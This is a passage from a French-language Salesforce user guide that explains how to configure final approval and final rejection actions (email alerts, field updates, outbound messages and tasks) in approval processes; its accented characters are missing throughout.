actions d'approbation finale incluent les alertes par e-mail, les mises jour de champ, les tches ou les messages sortants. Par
exemple, une action d'approbation finale peut dfinir le statut Approuve et dclencher l'envoi d'un e-mail de notification.

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 796

Lorsqu'un enregistrement est approuv par tous les approbateurs, Salesforce.com excute toutes les actions d'approbation
finale. L'action d'approbation finale Verrou de l'enregistrement est slectionne par dfaut. Vous pouvez la modifier pour
verrouiller ou dverrouiller automatiquement l'enregistrement. Vous pouvez slectionner jusqu' 40 actions supplmentaires
pour qu'elles aient lieu lorsque l'enregistrement est dfinitivement approuv, soit 10 actions de chacun des types suivants :
Type

Description

Tche

Attribue une tche l'utilisateur que vous spcifiez. Vous pouvez spcifier l'objet, le statut,
la priorit et l'chance de la tche.

Alerte par e-mail

Utilise le modle spcifi pour envoyer un e-mail un destinataire dsign.

Mise jour du champ

Modifie la valeur d'un champ slectionn. Vous pouvez spcifier une valeur ou crer une
formule pour la nouvelle valeur.

Message sortant

Envoie un message une adresse que vous dsignez. Vous pouvez galement spcifier un nom
d'utilisateur et les donnes inclure dans le message.

Pour grer les actions d'approbation finale d'un processus d'approbation, cliquez sur Configuration Crer Workflow
& approbations Processus d'approbation et slectionnez le processus d'approbation.
La liste associe Actions d'approbation finale affiche toutes les actions qui ont lieu lors de l'approbation finale d'un
enregistrement.

Cliquez sur Modifier pour modifier une action. Les changements apports une action affectent tous les processus
d'approbation ou rgles de workflow qui l'utilisent.
Cliquez sur Supprimer pour retirer l'action du processus d'approbation. Cette opration ne supprime pas l'action.
Cliquez sur Ajouter une action existante pour ajouter une action la liste des actions. Reportez-vous Choix des actions
d'approbation la page 814.
Cliquez sur Ajouter une nouvelle action et slectionnez le type adquat afin de crer une action et de l'associer au processus
d'approbation. Configurez ensuite l'action :
Pour les alertes par e-mail :
1. Saisissez la description de cette alerte par e-mail.
2. Saisissez un nom unique pour rfrencer ce document dans l'API Force.com et viter les conflits de nommage
dans les installations de packages grs. L'exigence de nom unique existe uniquement dans le type d'objet
slectionn. Vous pouvez avoir des actions de mme type (par exemple, deux alertes d'e-mail) portant le mme
nom, condition qu'elles soient dfinies pour des objets diffrents, par exemple une pour des campagnes ou l'autre
pour des opportunits. Le champ Nom unique ne peut contenir que des traits de soulignement et des caractres
alphanumriques. Il doit tre unique dans le type d'objet slectionn, commencer par une lettre, ne pas inclure
despace, ne pas se terminer pas un trait de soulignement et ne doit pas contenir deux traits de soulignement
conscutifs.
3. S'il est disponible, choisissez l'objet pour cette alerte par e-mail.
Salesforce.com utilise cet objet lors de la gnration de valeurs de champ de fusion pour les modles d'e-mail avec
des rgles de workflow et des processus d'approbation. Vous pouvez galement dfinir les destinataires de cette
alerte par e-mail en utilisant les champs de recherche de contact et d'utilisateur qui sont appropris pour cet objet.
Par exemple, si vous slectionnez Contrat, vous pouvez dfinir le signataire du contrat comme destinataire. Cet
objet est en lecture seule si la nouvelle alerte par e-mail est associe un processus d'approbation ou une rgle
de workflow pour un objet particulier.

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Guide de l'utilisateur | Gestion des processus d'approbation | 797

Conseil: Pour crer des rgles de workflow de sorte que les commentaires ajouts aux requtes envoient
des alertes par e-mail lors du dclenchement d'une rgle, slectionnez Commentaire de requte dans la
liste droulante Objet en crant une rgle de workflow.
4. Slectionnez un modle de message.
Remarque: Si le modle d'email que vous choisissez contient des champs de fusion d'approbations
nomms {!ApprovalRequest.field_name}, ces champs renvoient des valeurs uniquement lorsque
ce modle d'e-mail est utilis en tant que modle d'attribution des approbations. Si vous utilisez le modle
pour toute autre action d'alerte d'email, que ce soit dans les rgles de workflow ou dans les processus
d'approbation, les champs de fusion renverront une valeur nulle.
5. Activez la case Composant protg pour marquer l'alerte comme protge.
6. Slectionnez le type de destinataire qui vous souhaitez envoyer cette alerte par e-mail. Options possibles :
-

Responsable du compte : l'utilisateur rpertori comme propritaire du compte lui-mme ou du compte

associ l'enregistrement. Cette option fonctionne seulement pour les alertes d'e-mail sur les comptes, les
opportunits, les requtes, les contacts, les contrats et tout objet personnalis qui est un enfant de l'objet
compte. De plus, un responsable de compte doit tre spcifi pour le compte associ. Si vous slectionnez un
autre type d'objet ou si le compte associ ne possde pas de responsable, Salesforce.com envoie l'alerte e-mail
au responsable de l'enregistrement.
quipe de comptes : tous les utilisateurs attribus a un rle particulier d'quipe de comptes.
quipe de requtes : tous les utilisateurs attribus a un rle particulier d'quipe de requtes.
Crateur : l'utilisateur ayant cr l'enregistrement.
Utilisateur du portail client : tous les utilisateurs associs un portail client.
Champ d'adresse e-mail : un champ d'adresse e-mail dans l'objet slectionn, par exemple, le champ
Adresse e-mail dans les enregistrements de piste ou les champs d'e-mail personnaliss.
Remarque: Lors de la cration d'alertes par e-mail pour des membres de campagne, le champ E-mail
fait rfrence au champ e-mail de la piste ou du contact sur lequel le membre de campagne est bas.

Responsable : le responsable de l'enregistrement.

Utilisateur partenaire : tous les utilisateurs associs un portail partenaire.
Rle de portail : tous les utilisateurs attribus a un rle particulier de portail.
Subordonns et Rles du Portail : tous les utilisateurs attribus un rle particulier de portail plus

tous les utilisateurs dont les rles sont infrieurs celui-l.

Groupes publics : les utilisateurs d'un groupe public particulier.
Contact associ : un contact associ dans l'enregistrement. Par exemple, vous pouvez slectionner le
champ Signataire (client) pour les contrats contenant le nom du contact ayant sign.
Utilisateur associ : un utilisateur associ dans l'enregistrement. Par exemple, les enregistrements de
contrat sont dots d'un champ Activ par qui contient le nom de l'utilisateur ayant activ le contrat.
Rle : tous les utilisateurs auxquels un rle particulier a t attribu.
Rle et subordonns internes : tous les utilisateurs ayant un rle particulier, plus tous les utilisateurs
dont les rles sont infrieurs, l'exclusion des utilisateurs du portail partenaire et du portail client.
Rle et subordonns : tous les utilisateurs ayant un rle particulier, plus tous les utilisateurs dont les rles
sont infrieurs celui-l.
Utilisateurs : un utilisateur particulier.

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Guide de l'utilisateur | Gestion des processus d'approbation | 798

quipe de vente : un membre de l'quipe des ventes.

Remarque: L'option Equipe vente est toujours disponible ; toutefois, elle ne fonctionne que pour
les alertes d'e-mail configures pour les opportunits. Elle ne fonctionne pas avec les alertes par e-mail
configures pour des objets enfant d'opportunits.
Les destinataires correspondant vos rsultats de recherche apparaissent dans la liste Destinataires disponibles.
7. Slectionnez les destinataires qui vous souhaitez envoyer cette alerte par e-mail dans la liste Destinataires
disponibles et cliquez sur Ajouter pour les ajouter la liste Destinataires slectionns.
Remarque: Si vous modifiez les objets aprs avoir slectionn des destinataires, Salesforce.com efface la
liste Destinataires slectionns.
8. Vous pouvez galement entrer jusqu' cinq adresses e-mail supplmentaires.
9. Vous pouvez galement remplacer Adresse e-mail de l'expditeur par une adresse l'chelle de
l'organisation dj configure et vrifie. Vous pouvez ainsi utiliser l'adresse e-mail globale standard de votre
organisation (telle que support@societe.com) la place du champ par dfaut De, qui correspond l'adresse
e-mail de la personne qui met jour l'enregistrement.
Seules les adresses e-mail l'chelle de l'organisation vrifies s'affichent dans la liste de slection Adresse
e-mail de l'expditeur.
Remarque: Si vous slectionnez Slectionner comme Adresse e-mail de l'expditeur par dfaut pour
les alertes par e-mail de cet objet, l'Adresse e-mail de l'expditeur est remplace dans toutes
les alertes par e-mail associes cet objet. Lors de l'enregistrement, une bote de dialogue vous invite
confirmer votre slection. Vous pouvez toutefois personnaliser les alertes par e-mail individuelles afin
d'utiliser une autre Adresse e-mail de l'expditeur.
10. Cliquez sur Enregistrer.
Pour les mises jour de champ :
1. Saisissez un nom pour la mise jour de ce champ.
2. Saisissez un nom unique pour rfrencer ce document dans l'API Force.com et viter les conflits de nommage
dans les installations de packages grs. L'exigence de nom unique existe uniquement dans le type d'objet
slectionn. Vous pouvez avoir des actions de mme type (par exemple, deux alertes d'e-mail) portant le mme
nom, condition qu'elles soient dfinies pour des objets diffrents, par exemple une pour des campagnes ou l'autre
pour des opportunits. Le champ Nom unique ne peut contenir que des traits de soulignement et des caractres
alphanumriques. Il doit tre unique dans le type d'objet slectionn, commencer par une lettre, ne pas inclure
despace, ne pas se terminer pas un trait de soulignement et ne doit pas contenir deux traits de soulignement
conscutifs.
3. Saisissez une description pour la mise jour de ce champ.
4. Dfinissez la mise jour du champ, en incluant l'objet associ la rgle de workflow ou au processus d'approbation,
le champ mettre jour, et la valeur appliquer. Notez que le champ mettre jour peut se trouver dans un
objet associ dans une relation principal-dtails. Les champs sont affichs uniquement pour l'objet cible slectionn.
Conseil: Pour crer des rgles de workflow pour des commentaires de requte ou des messages e-mails
qui envoient automatiquement une mise jour des champs dans les requtes associes, slectionnez
Commentaires de requte ou Email dans la liste droulante Objet lors de la cration d'une nouvelle rgle

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Guide de l'utilisateur | Gestion des processus d'approbation | 799

de workflow et slectionnez Requte dans le champ Champ mettre jour. E-mail vers requte
ou E-mail vers requte la demande doit tre activ pour que votre organisation puisse utiliser des E-mails
dans une rgle de workflow.
Lorsque les requtes sont mises jour par une rgle de workflow dclenche par un e-mail, cette requte
mise jour peut dclencher :
-

Rgles de workflow
Rgles de validation
Mises jour des champs rcapitulatifs de cumul
Rgles de hirarchisation
Dclencheur Apex

La requte mise jour ne peut pas dclencher :

-

Rgles d'attribution
Rgles de rponse automatique

5. Cochez la case Composant protg pour marquer la mise jour du champ comme tant protge. Pour plus
d'informations, reportez-vous Composants protgs la page 845.
6. Spcifiez la nouvelle valeur de champ. Les options disponibles dpendent du type de champ que vous mettez
jour. Vous pouvez:
-

Slectionnez Une valeur spcifique et entrez la valeur dans l'espace prvu cet effet.
Slectionnez Une valeur vide (nulle) pour que Salesforce.com supprime toute valeur existante et laisse
le champ vide. Cette option n'est pas disponible pour les champs, cases cocher et certains autres types de
champs requis.
Pour les responsables d'enregistrement, slectionnez l'utilisateur auquel l'enregistrement doit tre attribu.
Pour les enregistrements de requte, de piste et d'objet personnalis, vous pouvez galement choisir une file
d'attente pour ce champ. Slectionnez ventuellement Notifier le bnficiaire pour envoyer un
e-mail au nouveau responsable de l'enregistrement.
Pour les cases cocher, choisissez Vrai pour slectionner la case et Faux pour la dslectionner.
Pour les listes de slection, slectionnez une valeur spcifique dans la liste droulante, ou celle situe au-dessus
ou au-dessous de la valeur actuelle selon le tri spcifi dans la dfinition de la liste de slection. Si vous triez
les valeurs par ordre alphabtique, les valeurs situes au-dessus ou au-dessous peuvent diffrer en fonction de
la langue de l'utilisateur.
Slectionnez Utiliser une formule pour dfinir la nouvelle valeur pour calculer la valeur
en fonction d'une expression, de champs de fusion ou d'autres valeurs.
a. Si vous crez une formule dans l'onglet Formule avance pour des approbations ou des rgles, telles qu'un
workflow, une validation, une attribution, une rponse automatique ou une hirarchisation, cliquez sur
Insrer un champ, choisissez un champ, puis cliquez sur Insrer.
Pour crer une formule de base qui transmet des donnes Salesforce.com spcifiques, slectionnez l'onglet
Formule simple, choisissez le type de champ dans la liste droulante Slectionner un type de
champ, puis l'un des champs de la liste droulante Insrer un champ.
Conseil: Crez des formules inter-objets qui s'tendent des objets associs et rfrencent des
champs de fusion dans ces objets.

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Guide de l'utilisateur | Gestion des processus d'approbation | 800

b. Pour insrer des champs de fusion de requte dont l'e-mail met jour des champs de requtes associs,
cliquez sur Insrer un champ dans la section Critres de la rgle et slectionnez E-mail > Requte parent.
c. Pour insrer un oprateur, slectionnez l'icne d'oprateur approprie dans la liste droulante Insrer
un oprateur. Utilisez les exemples de la section Oprateurs et fonctions la page 475.
d. Vous pouvez galement insrer une fonction partir de la liste Fonctions. Ces fonctions sont des formules
dj intgres que vous pouvez ensuite personnaliser avec vos paramtres d'entre. Pour une description
de chaque oprateur/fonction, reportez-vous la section Oprateurs et fonctions la page 475.
7. Cliquez sur Enregistrer.
Pour les messages sortants :
1. Saisissez un nom pour ce message sortant.
2. Saisissez un nom unique pour rfrencer ce document dans l'API Force.com et viter les conflits de nommage
dans les installations de packages grs. L'exigence de nom unique existe uniquement dans le type d'objet
slectionn. Vous pouvez avoir des actions de mme type (par exemple, deux alertes d'e-mail) portant le mme
nom, condition qu'elles soient dfinies pour des objets diffrents, par exemple une pour des campagnes ou l'autre
pour des opportunits. Le champ Nom unique ne peut contenir que des traits de soulignement et des caractres
alphanumriques. Il doit tre unique dans le type d'objet slectionn, commencer par une lettre, ne pas inclure
despace, ne pas se terminer pas un trait de soulignement et ne doit pas contenir deux traits de soulignement
conscutifs.
3. Saisissez une description pour ce message sortant.
4. Entrez une URL de point limite pour le destinataire du message. Salesforce.com envoie un message SOAP ce
point limite.
5. Slectionnez l'utilisateur Salesforce.com utiliser lors de l'envoi du message. L'utilisateur slectionn contrle la
visibilit des donnes pour le message envoy au point limite.
6. Cochez la case Composant protg pour marquer le message sortant comme tant protg. Pour plus
d'informations, reportez-vous Composants protgs la page 845.
7. Slectionnez Envoyer l'ID de session afin d'inclure l'ID de session Salesforce.com au message sortant.
Incluez l'ID de session dans votre message si vous avez l'intention d'effectuer des appels API et que vous ne
souhaitez inclure ni nom d'utilisateur ni mot de passe. L'envoi d'un nom d'utilisateur et d'un mot de passe est
moins sr que l'envoi d'un ID de session.
8. Slectionnez Ajouter les checs la liste associe des messages sortants chous si
vous souhaitez que ce message soit dplac dans la liste associe ses messages sortants chous l'issue de toutes
les tentatives. Si vous ne voyez pas cette option, cela signifie que les notifications de messages sortants chous
n'ont pas t actives pour votre entreprise. Contactez votre reprsentant salesforce.com.
9. Slectionnez les champs inclure dans le message sortant et cliquez sur Ajouter.
Pour des tches :
1. Slectionnez un bnficiaire. Selon le type d'enregistrement choisi, le bnficiaire peut tre un utilisateur, un rle,
un responsable d'enregistrement, un crateur d'enregistrement, un rle dans l'quipe de vente ou dans l'quipe
de comptes.

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Guide de l'utilisateur | Gestion des processus d'approbation | 801

Remarque:
-

Si le bnficiaire d'une tche est le responsable de l'enregistrement et que le responsable d'une piste
ou d'une requte est une file d'attente, la personne ayant dclench la rgle devient le bnficiaire de
la tche.
Si l'objet est traduit, Salesforce.com cre une tche dans la langue du bnficiaire. Si l'objet est traduit
et que vous avec activ Notifier le bnficiaire pour la tche, Salesforce.com envoie l'e-mail dans la
langue du bnficiaire. Cependant, si seul le champ des commentaires est traduit, Salesforce.com cre
une tche et envoie l'e-mail dans la langue de l'utilisateur ayant dclench la tche.
Si un objet personnalis a une relation principal-dtails avec un objet standard, le responsable de
l'enregistrement de l'objet standard principal devient automatiquement responsable de l'enregistrement
de l'objet personnalis. Par exemple, si un objet personnalis nomm Dpenses a une relation
principal-dtails avec un objet Comptes, le responsable de chaque enregistrement de dpense est
galement responsable du compte de la dpense.
De mme, si le bnficiaire d'une tche de workflow est un rle possdant plusieurs utilisateurs, la
personne ayant dclench la rgle devient le bnficiaire de la tche, quel que soit son rle. Il est
recommand de ne pas attribuer de tches aux rles possdant plusieurs utilisateurs. L'attribution de
tches aux rles possdant un utilisateur permet de modifier facilement l'utilisateur de ce rle sans
modifier la rgle de workflow.

2. Entrez l'objet de la tche.

3. Saisissez un nom unique pour rfrencer ce document dans l'API Force.com et viter les conflits de nommage
dans les installations de packages grs. L'exigence de nom unique existe uniquement dans le type d'objet
slectionn. Vous pouvez avoir des actions de mme type (par exemple, deux alertes d'e-mail) portant le mme
nom, condition qu'elles soient dfinies pour des objets diffrents, par exemple une pour des campagnes ou l'autre
pour des opportunits. Le champ Nom unique ne peut contenir que des traits de soulignement et des caractres
alphanumriques. Il doit tre unique dans le type d'objet slectionn, commencer par une lettre, ne pas inclure
despace, ne pas se terminer pas un trait de soulignement et ne doit pas contenir deux traits de soulignement
conscutifs.
4. Choisissez une chance, un statut et une priorit. Les chances sont indiques dans le fuseau horaire du
bnficiaire.
5. Cochez la case Notifier le bnficiaire pour envoyer une notification par e-mail lorsque la tche est
attribue.
6. Cochez la case Composant protg pour marquer la tche comme tant protge. Pour plus d'informations,
reportez-vous Composants protgs la page 845.
7. Entrez des commentaires associer la tche.
8. Cliquez sur Enregistrer.

Voir aussi :
Terminologie propre aux processus d'approbation
Processus d'approbation - Mise en route
Gestion des tapes d'approbation
Gestion des processus d'approbation
Utilisation du Visualiseur de processus

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 802

Actions de refus final

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des actions de refus final :

Personnaliser l'application

Les actions de refus final sont les actions qui se produisent lorsqu'un approbateur rejette la demande entranant ainsi l'tat de
refus final. Les actions de refus final incluent les alertes par e-mail, les mises jour de champ, les tches ou les messages sortants.
Par exemple, une action de refus final peut modifier le statut en ''Rejete'', envoyer un e-mail de notification et dbloquer
l'enregistrement pour que les utilisateurs puissent le modifier avant de le soumettre nouveau.
Lorsqu'un enregistrement a t refus par tous les approbateurs, Salesforce.com excute toutes les actions de refus final. Une
action de refus final par dfaut, intitule Verrou d'enregistrement, a t slectionne automatiquement. Vous pouvez modifier
cette option pour verrouiller ou dverrouiller automatiquement un enregistrement. Vous pouvez slectionner jusqu' 40 actions
supplmentaires appliquer lors du refus de l'enregistrement, soit 10 actions de chacun des types suivants :
Type

Description

Tche

Attribue une tche l'utilisateur que vous spcifiez. Vous pouvez spcifier l'objet, le statut,
la priorit et l'chance de la tche.

Alerte par e-mail

Utilise le modle spcifi pour envoyer un e-mail un destinataire dsign.

Mise jour du champ

Modifie la valeur d'un champ slectionn. Vous pouvez spcifier une valeur ou crer une
formule pour la nouvelle valeur.

Message sortant

Envoie un message une adresse que vous dsignez. Vous pouvez galement spcifier un nom
d'utilisateur et les donnes inclure dans le message.

Pour grer les actions de refus final d'un processus d'approbation, cliquez sur Configuration Crer Workflow &
approbations Processus d'approbation et slectionnez le processus d'approbation.

La liste associe des actions de refus final affiche toutes les actions qui ont lieu lors du refus final d'un enregistrement.
Cliquez sur Modifier pour modifier une action. Les changements apports une action affectent tous les processus
d'approbation ou rgles de workflow qui l'utilisent.
Cliquez sur Supprimer pour retirer l'action du processus d'approbation. Cette opration ne supprime pas l'action.
Cliquez sur Ajouter une action existante pour ajouter une action la liste des actions. Reportez-vous Choix des actions
d'approbation la page 814.
Cliquez sur Ajouter une nouvelle action et slectionnez le type adquat afin de crer une action et de l'associer au processus
d'approbation. Configurez ensuite l'action :
Pour les alertes par e-mail :
1. Saisissez la description de cette alerte par e-mail.
2. Saisissez un nom unique pour rfrencer ce document dans l'API Force.com et viter les conflits de nommage
dans les installations de packages grs. L'exigence de nom unique existe uniquement dans le type d'objet

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 803

slectionn. Vous pouvez avoir des actions de mme type (par exemple, deux alertes d'e-mail) portant le mme
nom, condition qu'elles soient dfinies pour des objets diffrents, par exemple une pour des campagnes ou l'autre
pour des opportunits. Le champ Nom unique ne peut contenir que des traits de soulignement et des caractres
alphanumriques. Il doit tre unique dans le type d'objet slectionn, commencer par une lettre, ne pas inclure
despace, ne pas se terminer pas un trait de soulignement et ne doit pas contenir deux traits de soulignement
conscutifs.
3. S'il est disponible, choisissez l'objet pour cette alerte par e-mail.
Salesforce.com utilise cet objet lors de la gnration de valeurs de champ de fusion pour les modles d'e-mail avec
des rgles de workflow et des processus d'approbation. Vous pouvez galement dfinir les destinataires de cette
alerte par e-mail en utilisant les champs de recherche de contact et d'utilisateur qui sont appropris pour cet objet.
Par exemple, si vous slectionnez Contrat, vous pouvez dfinir le signataire du contrat comme destinataire. Cet
objet est en lecture seule si la nouvelle alerte par e-mail est associe un processus d'approbation ou une rgle
de workflow pour un objet particulier.
Conseil: Pour crer des rgles de workflow de sorte que les commentaires ajouts aux requtes envoient
des alertes par e-mail lors du dclenchement d'une rgle, slectionnez Commentaire de requte dans la
liste droulante Objet en crant une rgle de workflow.
4. Slectionnez un modle de message.
Remarque: Si le modle d'email que vous choisissez contient des champs de fusion d'approbations
nomms {!ApprovalRequest.field_name}, ces champs renvoient des valeurs uniquement lorsque
ce modle d'e-mail est utilis en tant que modle d'attribution des approbations. Si vous utilisez le modle
pour toute autre action d'alerte d'email, que ce soit dans les rgles de workflow ou dans les processus
d'approbation, les champs de fusion renverront une valeur nulle.
5. Activez la case Composant protg pour marquer l'alerte comme protge.
6. Slectionnez le type de destinataire qui vous souhaitez envoyer cette alerte par e-mail. Options possibles :
-

Responsable du compteL'utilisateur rpertori comme propritaire du compte lui-mme ou du compte

associ l'enregistrement. Cette option fonctionne seulement pour les alertes d'e-mail sur les comptes, les
opportunits, les requtes, les contacts, les contrats et tout objet personnalis qui est un enfant de l'objet
compte. De plus, un responsable de compte doit tre spcifi pour le compte associ. Si vous slectionnez un
autre type d'objet ou si le compte associ ne possde pas de responsable, Salesforce.com envoie l'alerte e-mail
au responsable de l'enregistrement.
quipe de comptesTous les utilisateurs attribus a un rle particulier d'quipe de comptes.
quipe de requtesTous les utilisateurs attribus a un rle particulier d'quipe de requtes.
CrateurL'utilisateur ayant cr l'enregistrement.
Utilisateur du portail clientTous les utilisateurs associs un portail client.
Champ d'adresse e-mailUn champ d'une adresse e-mail dans l'objet slectionn, par exemple, le
champ Adresse e-mail dans les enregistrements de piste ou les champs d'e-mail personnaliss.
Remarque: Lors de la cration d'alertes par e-mail pour des membres de campagne, le champ E-mail
fait rfrence au champ e-mail de la piste ou du contact sur lequel le membre de campagne est bas.

ResponsableLe responsable de l'enregistrement.

Utilisateur partenaire : tous les utilisateurs associs un portail partenaire.
Rle de portailTous les utilisateurs attribus a un rle particulier de portail.

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Guide de l'utilisateur | Gestion des processus d'approbation | 804

Subordonns et Rles du PortailTous les utilisateurs attribus un rle particulier de portail plus

tous les utilisateurs dont les rles sont infrieurs celui-l.

Groupes publicsLes utilisateurs d'un groupe public particulier.
Contact associUn contact associ dans l'enregistrement. Par exemple, vous pouvez slectionner le
champ Signataire (client) pour les contrats contenant le nom du contact ayant sign.
Utilisateur associUn utilisateur associ dans l'enregistrement. Par exemple, les enregistrements de
contrat sont dots d'un champ Activ par qui contient le nom de l'utilisateur ayant activ le contrat.
RleTous les utilisateurs auxquels un rle particulier a t attribu.
Rle et subordonns internes : tous les utilisateurs ayant un rle particulier, plus tous les utilisateurs
dont les rles sont infrieurs, l'exclusion des utilisateurs du portail partenaire et du portail client.
Rle et subordonns Tous les utilisateurs ayant un rle particulier, plus tous les utilisateurs dont les
rles sont infrieurs celui-l.
UtilisateursUn utilisateur particulier.
quipe de venteUn membre de l'quipe des ventes.
Remarque: L'option Equipe vente est toujours disponible ; toutefois, elle ne fonctionne que pour
les alertes d'e-mail configures pour les opportunits. Elle ne fonctionne pas avec les alertes par e-mail
configures pour des objets enfant d'opportunits.

Les destinataires correspondant vos rsultats de recherche apparaissent dans la liste Destinataires disponibles.
7. Slectionnez les destinataires qui vous souhaitez envoyer cette alerte par e-mail dans la liste Destinataires
disponibles et cliquez sur Ajouter pour les ajouter la liste Destinataires slectionns.
Remarque: Si vous modifiez les objets aprs avoir slectionn des destinataires, Salesforce.com efface la
liste Destinataires slectionns.
8. Vous pouvez galement entrer jusqu' cinq adresses e-mail supplmentaires.
9. Vous pouvez galement remplacer Adresse e-mail de l'expditeur par une adresse l'chelle de
l'organisation dj configure et vrifie. Vous pouvez ainsi utiliser l'adresse e-mail globale standard de votre
organisation (telle que support@societe.com) la place du champ par dfaut De, qui correspond l'adresse
e-mail de la personne qui met jour l'enregistrement.
Seules les adresses e-mail l'chelle de l'organisation vrifies s'affichent dans la liste de slection Adresse
e-mail de l'expditeur.
Remarque: Si vous slectionnez Slectionner comme Adresse e-mail de l'expditeur par dfaut pour
les alertes par e-mail de cet objet, l'Adresse e-mail de l'expditeur est remplace dans toutes
les alertes par e-mail associes cet objet. Lors de l'enregistrement, une bote de dialogue vous invite
confirmer votre slection. Vous pouvez toutefois personnaliser les alertes par e-mail individuelles afin
d'utiliser une autre Adresse e-mail de l'expditeur.
10. Cliquez sur Enregistrer.
Pour les mises jour de champ :
1. Saisissez un nom pour la mise jour de ce champ.
2. Saisissez un nom unique pour rfrencer ce document dans l'API Force.com et viter les conflits de nommage
dans les installations de packages grs. L'exigence de nom unique existe uniquement dans le type d'objet

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 805

slectionn. Vous pouvez avoir des actions de mme type (par exemple, deux alertes d'e-mail) portant le mme
nom, condition qu'elles soient dfinies pour des objets diffrents, par exemple une pour des campagnes ou l'autre
pour des opportunits. Le champ Nom unique ne peut contenir que des traits de soulignement et des caractres
alphanumriques. Il doit tre unique dans le type d'objet slectionn, commencer par une lettre, ne pas inclure
despace, ne pas se terminer pas un trait de soulignement et ne doit pas contenir deux traits de soulignement
conscutifs.
3. Saisissez une description pour la mise jour de ce champ.
4. Dfinissez la mise jour du champ, en incluant l'objet associ la rgle de workflow ou au processus d'approbation,
le champ mettre jour, et la valeur appliquer. Notez que le champ mettre jour peut se trouver dans un
objet associ dans une relation principal-dtails. Les champs sont affichs uniquement pour l'objet cible slectionn.
Conseil: Pour crer des rgles de workflow pour des commentaires de requte ou des messages e-mails
qui envoient automatiquement une mise jour des champs dans les requtes associes, slectionnez
Commentaires de requte ou Email dans la liste droulante Objet lors de la cration d'une nouvelle rgle
de workflow et slectionnez Requte dans le champ Champ mettre jour. E-mail vers requte
ou E-mail vers requte la demande doit tre activ pour que votre organisation puisse utiliser des E-mails
dans une rgle de workflow.
Lorsque les requtes sont mises jour par une rgle de workflow dclenche par un e-mail, cette requte
mise jour peut dclencher :
-

Rgles de workflow
Rgles de validation
Mises jour des champs rcapitulatifs de cumul
Rgles de hirarchisation
Dclencheur Apex

La requte mise jour ne peut pas dclencher :

-

Rgles d'attribution
Rgles de rponse automatique

5. Cochez la case Composant protg pour marquer la mise jour du champ comme tant protge. Pour plus
d'informations, reportez-vous Composants protgs la page 845.
6. Spcifiez la nouvelle valeur de champ. Les options disponibles dpendent du type de champ que vous mettez
jour. Vous pouvez:
-

Slectionnez Une valeur spcifique et entrez la valeur dans l'espace prvu cet effet.
Slectionnez Une valeur vide (nulle) pour que Salesforce.com supprime toute valeur existante et laisse
le champ vide. Cette option n'est pas disponible pour les champs, cases cocher et certains autres types de
champs requis.
Pour les responsables d'enregistrement, slectionnez l'utilisateur auquel l'enregistrement doit tre attribu.
Pour les enregistrements de requte, de piste et d'objet personnalis, vous pouvez galement choisir une file
d'attente pour ce champ. Slectionnez ventuellement Notifier le bnficiaire pour envoyer un
e-mail au nouveau responsable de l'enregistrement.
Pour les cases cocher, choisissez Vrai pour slectionner la case et Faux pour la dslectionner.
Pour les listes de slection, slectionnez une valeur spcifique dans la liste droulante, ou celle situe au-dessus
ou au-dessous de la valeur actuelle selon le tri spcifi dans la dfinition de la liste de slection. Si vous triez
les valeurs par ordre alphabtique, les valeurs situes au-dessus ou au-dessous peuvent diffrer en fonction de
la langue de l'utilisateur.

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 806

Slectionnez Utiliser une formule pour dfinir la nouvelle valeur pour calculer la valeur
en fonction d'une expression, de champs de fusion ou d'autres valeurs.
a. Si vous laborez une formule dans l'onglet Formule avance pour des approbations ou des rgles, telles
qu'un workflow, une validation, une attribution, une rponse automatique ou une hirarchisation, cliquez
sur Insrer un champ, choisissez un champ, puis cliquez sur Insrer.
Pour crer une formule de base qui transmet des donnes Salesforce.com spcifiques, slectionnez l'onglet
Formule simple, choisissez le type de champ dans la liste droulante Slectionner un type de
champ, puis l'un des champs de la liste droulante Insrer un champ.
Conseil: Les formules inter-objets gnres s'tendent des objets associs et rfrencent des champs
de fusion dans ces objets.
b. Pour insrer des champs de fusion de requte dont l'e-mail met jour des champs de requtes associs,
cliquez sur Insrer un champ dans la section Critres de la rgle et slectionnez E-mail > Requte parent.
c. Pour insrer un oprateur, slectionnez l'icne d'oprateur approprie dans la liste droulante Insrer
un oprateur. Utilisez les exemples de la section Oprateurs et fonctions la page 475.
d. Vous pouvez galement insrer une fonction partir de la liste Fonctions. Ces fonctions sont des formules
dj intgres que vous pouvez ensuite personnaliser avec vos paramtres d'entre. Pour une description
de chaque oprateur/fonction, reportez-vous la section Oprateurs et fonctions la page 475.

7. Cliquez sur Enregistrer.

Pour les messages sortants :
1. Saisissez un nom pour ce message sortant.
2. Saisissez un nom unique pour rfrencer ce document dans l'API Force.com et viter les conflits de nommage
dans les installations de packages grs. L'exigence de nom unique existe uniquement dans le type d'objet
slectionn. Vous pouvez avoir des actions de mme type (par exemple, deux alertes d'e-mail) portant le mme
nom, condition qu'elles soient dfinies pour des objets diffrents, par exemple une pour des campagnes ou l'autre
pour des opportunits. Le champ Nom unique ne peut contenir que des traits de soulignement et des caractres
alphanumriques. Il doit tre unique dans le type d'objet slectionn, commencer par une lettre, ne pas inclure
despace, ne pas se terminer pas un trait de soulignement et ne doit pas contenir deux traits de soulignement
conscutifs.
3. Saisissez une description pour ce message sortant.
4. Entrez une URL de point limite pour le destinataire du message. Salesforce.com envoie un message SOAP ce
point limite.
5. Slectionnez l'utilisateur Salesforce.com utiliser lors de l'envoi du message. L'utilisateur slectionn contrle la
visibilit des donnes pour le message envoy au point limite.
6. Cochez la case Composant protg pour marquer le message sortant comme tant protg. Pour plus
d'informations, reportez-vous Composants protgs la page 845.
7. Slectionnez Envoyer l'ID de session afin d'inclure l'ID de session Salesforce.com au message sortant.
Incluez l'ID de session dans votre message si vous avez l'intention d'effectuer des appels API et que vous ne
souhaitez inclure ni nom d'utilisateur ni mot de passe. L'envoi d'un nom d'utilisateur et d'un mot de passe est
moins sr que l'envoi d'un ID de session.
8. Slectionnez Ajouter les checs la liste associe des messages sortants chous si
vous souhaitez que ce message soit dplac dans la liste associe des messages sortants chous l'issue de toutes

Crer

Guide de l'utilisateur | Gestion des processus d'approbation | 807

les tentatives. Si vous ne voyez pas cette option, cela signifie que les notifications de messages sortants chous
n'ont pas t actives pour votre entreprise. Contactez votre reprsentant salesforce.com.
9. Slectionnez les champs inclure dans le message sortant et cliquez sur Ajouter.
